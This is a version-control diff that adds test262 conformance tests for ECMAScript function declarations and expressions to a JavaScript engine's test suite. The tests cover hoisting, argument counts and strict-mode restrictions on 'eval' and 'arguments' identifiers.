diff --git a/js/src/tests/test262/ch13/13.0/S13_A6_T1.js b/js/src/tests/test262/ch13/13.0/S13_A6_T1.js
new file mode 100644
index 000000000..2cdd53709
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A6_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionDeclaration can be overrided by other FunctionDeclaration with the same Identifier
+ *
+ * @path ch13/13.0/S13_A6_T1.js
+ * @description Duplicating function declaration
+ */
+
+function __func(){return 1};
+
+var __store__func = __func;
+
+var __1 = __func();
+
+ function __func(){return 'A'};
+
+var __A = __func();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__store__func !== __func) {
+ $ERROR('#1: __store__func === __func. Actual: __store__func ==='+__store__func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__1 !== __A) {
+ $ERROR('#2: __1 === __A. Actual: __1 ==='+__1);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A6_T2.js b/js/src/tests/test262/ch13/13.0/S13_A6_T2.js
new file mode 100644
index 000000000..6268e06e2
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A6_T2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionDeclaration can be overrided by other FunctionDeclaration with the same Identifier
+ *
+ * @path ch13/13.0/S13_A6_T2.js
+ * @description Calling a function before it is declared one more time
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ var __result = __func();
+} catch(e) {
+ $FAIL("#1: Function call can appears in the program before the FunctionDeclaration appears");
+}
+if (__result !== "SECOND") {
+ $ERROR('#1.1: __result === "SECOND". Actual: __result ==='+__result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func(){return "FIRST";};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+__result = __func();
+if (__result !== "SECOND") {
+ $ERROR('#2: __result === "SECOND". Actual: __result ==='+__result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func(){return "SECOND";};
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A7_T1.js b/js/src/tests/test262/ch13/13.0/S13_A7_T1.js
new file mode 100644
index 000000000..b83e6e140
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A7_T1.js
@@ -0,0 +1,73 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The FunctionBody must be SourceElements
+ *
+ * @path ch13/13.0/S13_A7_T1.js
+ * @description Using only SourceElements within the FunctionBody
+ */
+
+function __func(){'ground control to major tom'};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "function") {
+ $ERROR('#1: typeof __func === "function". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func__2(){b};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __func__2 !== "function") {
+ $ERROR('#2: typeof __func__2 === "function". Actual: typeof __func__2 ==='+typeof __func__2);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func__3(){1};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (typeof __func__3 !== "function") {
+ $ERROR('#3: typeof __func__3 === "function". Actual: typeof __func__3 ==='+typeof __func__3);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func__4(){1+c};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (typeof __func__4 !== "function") {
+ $ERROR('#4: typeof __func__4 === "function". Actual: typeof __func__4 ==='+typeof __func__4);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func__5(){inc(d)};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (typeof __func__5 !== "function") {
+ $ERROR('#5: typeof __func__5 === "function". Actual: typeof __func__5 ==='+typeof __func__5);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func__6(){var \u0042 = 1;};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if (typeof __func__6 !== "function") {
+ $ERROR('#6: typeof __func__6 === "function". Actual: typeof __func__6 ==='+typeof __func__6);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//function __func__7(){var \u003d = 1;};
+////////////////////////////////////////////////////////////////////////////////
+////CHECK#7
+//if (typeof __func__7 !== "function") {
+// $ERROR('#7: The FunctionBody must be SourceElements');
+//}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A7_T2.js b/js/src/tests/test262/ch13/13.0/S13_A7_T2.js
new file mode 100644
index 000000000..6b381b794
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A7_T2.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The FunctionBody must be SourceElements
+ *
+ * @path ch13/13.0/S13_A7_T2.js
+ * @description Inserting elements that is different from SourceElements into the FunctionBody
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ eval("function __func(){/ ABC}");
+ $ERROR('#1: eval("function __func(){/ ABC}") lead to throwing exception');
+} catch(e){
+ if(!(e instanceof SyntaxError)){
+ $ERROR('#1.1: eval("function __func(){/ ABC}") lead to throwing exception of SyntaxError. Actual: exception is '+e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try{
+ eval("function __func(){&1}");
+ $ERROR('#3: eval("function __func(){&1}") lead to throwing exception');
+} catch(e){
+ if(!(e instanceof SyntaxError)){
+ $ERROR('#3.1: eval("function __func(){&1}") lead to throwing exception of SyntaxError. Actual: exception is '+e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+try{
+ eval("function __func(){# ABC}");
+ $ERROR('#4: eval("function __func(){# ABC}") lead to throwing exception');
+} catch(e){
+ if(!(e instanceof SyntaxError)){
+ $ERROR('#4.1: eval("function __func(){# ABC}") lead to throwing exception of SyntaxError. Actual: exception is '+e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A7_T3.js b/js/src/tests/test262/ch13/13.0/S13_A7_T3.js
new file mode 100644
index 000000000..e2b893b65
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A7_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The FunctionBody must be SourceElements
+ *
+ * @path ch13/13.0/S13_A7_T3.js
+ * @description Checking if execution of "function __func(){\A\B\C}" fails
+ * @negative
+ */
+
+function __func(){\A\B\C};
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A8_T1.js b/js/src/tests/test262/ch13/13.0/S13_A8_T1.js
new file mode 100644
index 000000000..d147259ce
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A8_T1.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments property of activation object contains real params to be passed
+ *
+ * @path ch13/13.0/S13_A8_T1.js
+ * @description Creating a function declared with "function __func(param1, param2, param3)" and using arguments.length property in order to perform the test
+ */
+
+ function __func(param1, param2, param3) {
+ return arguments.length;
+ }
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func('A') !== 1) {
+ $ERROR('#1: __func(\'A\') === 1. Actual: __func(\'A\') ==='+__func('A'));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func('A', 'B', 1, 2,__func) !== 5) {
+ $ERROR('#2: __func(\'A\', \'B\', 1, 2,__func) === 5. Actual: __func(\'A\', \'B\', 1, 2,__func) ==='+__func('A', 'B', 1, 2,__func));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A8_T2.js b/js/src/tests/test262/ch13/13.0/S13_A8_T2.js
new file mode 100644
index 000000000..6e4b3f05c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A8_T2.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Arguments property of activation object contains real params to be passed
+ *
+ * @path ch13/13.0/S13_A8_T2.js
+ * @description Creating a function with no parameters and using arguments.length property in order to perform the test
+ */
+
+ function __func() {
+ return arguments.length;
+ }
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func('A') !== 1) {
+ $ERROR('#1: __func(\'A\') === 1. Actual: __func(\'A\') ==='+__func('A'));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func('A', 'B', 1, 2,__func) !== 5) {
+ $ERROR('#2: __func(\'A\', \'B\', 1, 2,__func) === 5. Actual: __func(\'A\', \'B\', 1, 2,__func) ==='+__func('A', 'B', 1, 2,__func));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__func() !== 0) {
+ $ERROR('#3: __func() === 0. Actual: __func() ==='+__func());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A9.js b/js/src/tests/test262/ch13/13.0/S13_A9.js
new file mode 100644
index 000000000..c13119af9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A9.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function can be passed as argument
+ *
+ * @path ch13/13.0/S13_A9.js
+ * @description Using function as argument of another function
+ */
+
+function __func__INC(arg){return arg + 1;};
+function __func__MULT(incrementator, arg, mult){ return incrementator(arg)*mult; };
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func__MULT(__func__INC, 2, 2) !== 6) {
+ $ERROR('#1: function can be passed as argument');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.0/browser.js b/js/src/tests/test262/ch13/13.0/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/browser.js
diff --git a/js/src/tests/test262/ch13/13.0/shell.js b/js/src/tests/test262/ch13/13.0/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/shell.js
diff --git a/js/src/tests/test262/ch13/13.1/13.1-1-1.js b/js/src/tests/test262/ch13/13.1/13.1-1-1.js
new file mode 100644
index 000000000..a30103edc
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-1-1.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-1-1.js
+ * @description Duplicate identifier allowed in non-strict function declaration parameter list
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('function foo(a,a){}');
+ return true;
+ }
+ catch (e) { return false }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-1-2.js b/js/src/tests/test262/ch13/13.1/13.1-1-2.js
new file mode 100644
index 000000000..dc6708fb4
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-1-2.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-1-2.js
+ * @description Duplicate identifier allowed in non-strict function expression parameter list
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('(function foo(a,a){})');
+ return true;
+ }
+ catch (e) { return false }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-1-s.js b/js/src/tests/test262/ch13/13.1/13.1-1-s.js
new file mode 100644
index 000000000..4768b2072
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-1-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-1-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appears within a FormalParameterList of a strict mode FunctionDeclaration
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("function _13_1_1_fun(eval) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-10-s.js b/js/src/tests/test262/ch13/13.1/13.1-10-s.js
new file mode 100644
index 000000000..802c13ab4
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-10-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-10-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created in 'strict mode' using a FunctionExpression and the function has three identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var _13_1_10_fun = function (param, param, param) { };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-11-s.js b/js/src/tests/test262/ch13/13.1/13.1-11-s.js
new file mode 100644
index 000000000..5f63b5627
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-11-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-11-s.js
+ * @description StrictMode - SyntaxError is thrown if 'eval' occurs as the function name of a FunctionDeclaration in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("function eval() { };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-12-s.js b/js/src/tests/test262/ch13/13.1/13.1-12-s.js
new file mode 100644
index 000000000..8ebf40b26
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-12-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-12-s.js
+ * @description StrictMode - SyntaxError is thrown if 'eval' occurs as the Identifier of a FunctionExpression in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _13_1_12_s = {};
+
+ try {
+ eval("_13_1_12_s.x = function eval() {};");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-13-s.js b/js/src/tests/test262/ch13/13.1/13.1-13-s.js
new file mode 100644
index 000000000..b1eb17421
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-13-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-13-s.js
+ * @description StrictMode - SyntaxError is thrown if 'arguments' occurs as the function name of a FunctionDeclaration in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("function arguments() { };")
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-13gs.js b/js/src/tests/test262/ch13/13.1/13.1-13gs.js
new file mode 100644
index 000000000..5287ab343
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-13gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-13gs.js
+ * @description StrictMode - SyntaxError is thrown if 'arguments' occurs as the Identifier of a FunctionDeclaration
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+function arguments() { };
diff --git a/js/src/tests/test262/ch13/13.1/13.1-14-s.js b/js/src/tests/test262/ch13/13.1/13.1-14-s.js
new file mode 100644
index 000000000..4841cee18
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-14-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-14-s.js
+ * @description StrictMode - SyntaxError is thrown if 'arguments' occurs as the Identifier of a FunctionExpression in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _13_1_14_s = {};
+
+ try {
+ eval("_13_1_14_s.x = function arguments() {};");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-15-s.js b/js/src/tests/test262/ch13/13.1/13.1-15-s.js
new file mode 100644
index 000000000..0f49d0b97
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-15-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-15-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appears within a FormalParameterList of a strict mode FunctionDeclaration in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict';function _13_1_15_fun(eval) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-16-s.js b/js/src/tests/test262/ch13/13.1/13.1-16-s.js
new file mode 100644
index 000000000..4dd74265a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-16-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-16-s.js
+ * @description StrictMode - SyntaxError is thrown if the identifier 'eval' appears within a FormalParameterList of a strict mode FunctionDeclaration when FuctionBody is strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("function _13_1_16_fun(eval) { 'use strict'; }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-17-s.js b/js/src/tests/test262/ch13/13.1/13.1-17-s.js
new file mode 100644
index 000000000..e38ee27c6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-17-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-17-s.js
+ * @description StrictMode - SyntaxError is thrown if the identifier 'eval' appears within a FormalParameterList of a strict mode FunctionExpression in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; var _13_1_17_fun = function (eval) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-18-s.js b/js/src/tests/test262/ch13/13.1/13.1-18-s.js
new file mode 100644
index 000000000..51668c621
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-18-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-18-s.js
+ * @description StrictMode - SyntaxError is thrown if the identifier 'eval' appears within a FormalParameterList of a strict mode FunctionExpression when FuctionBody is strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var _13_1_18_fun = function (eval) { 'use strict'; }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-19-s.js b/js/src/tests/test262/ch13/13.1/13.1-19-s.js
new file mode 100644
index 000000000..a063fba9f
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-19-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if the Identifier "eval" or the Identifier "arguments" occurs within a FormalParameterList
+ * of a strict mode FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-19-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appears within a FormalParameterList of a strict mode FunctionDeclaration in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict';function _13_1_19_fun(arguments) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-1gs.js b/js/src/tests/test262/ch13/13.1/13.1-1gs.js
new file mode 100644
index 000000000..bc4971291
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-1gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-1gs.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appears within a FormalParameterList of a strict mode FunctionDeclaration
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+function _13_1_1_fun(eval) { } \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.1/13.1-2-1.js b/js/src/tests/test262/ch13/13.1/13.1-2-1.js
new file mode 100644
index 000000000..8d4155037
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-2-1.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-2-1.js
+ * @description eval allowed as formal parameter name of a non-strict function declaration
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval("function foo(eval){};");
+ return true;
+ }
+ catch (e) { }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-2-2.js b/js/src/tests/test262/ch13/13.1/13.1-2-2.js
new file mode 100644
index 000000000..04e19c1a6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-2-2.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-2-2.js
+ * @description eval allowed as formal parameter name of a non-strict function expression
+ */
+
+
+function testcase()
+{
+ eval("(function foo(eval){});");
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-2-5.js b/js/src/tests/test262/ch13/13.1/13.1-2-5.js
new file mode 100644
index 000000000..e60842ff1
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-2-5.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-2-5.js
+ * @description arguments allowed as formal parameter name of a non-strict function declaration
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval("function foo(arguments){};");
+ return true;
+ }
+ catch (e) { }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-2-6.js b/js/src/tests/test262/ch13/13.1/13.1-2-6.js
new file mode 100644
index 000000000..ce9b76b3c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-2-6.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-2-6.js
+ * @description arguments allowed as formal parameter name of a non-strict function expression
+ */
+
+
+function testcase()
+{
+ eval("(function foo(arguments){});");
+ return true;
+ }
+runTestCase(testcase);
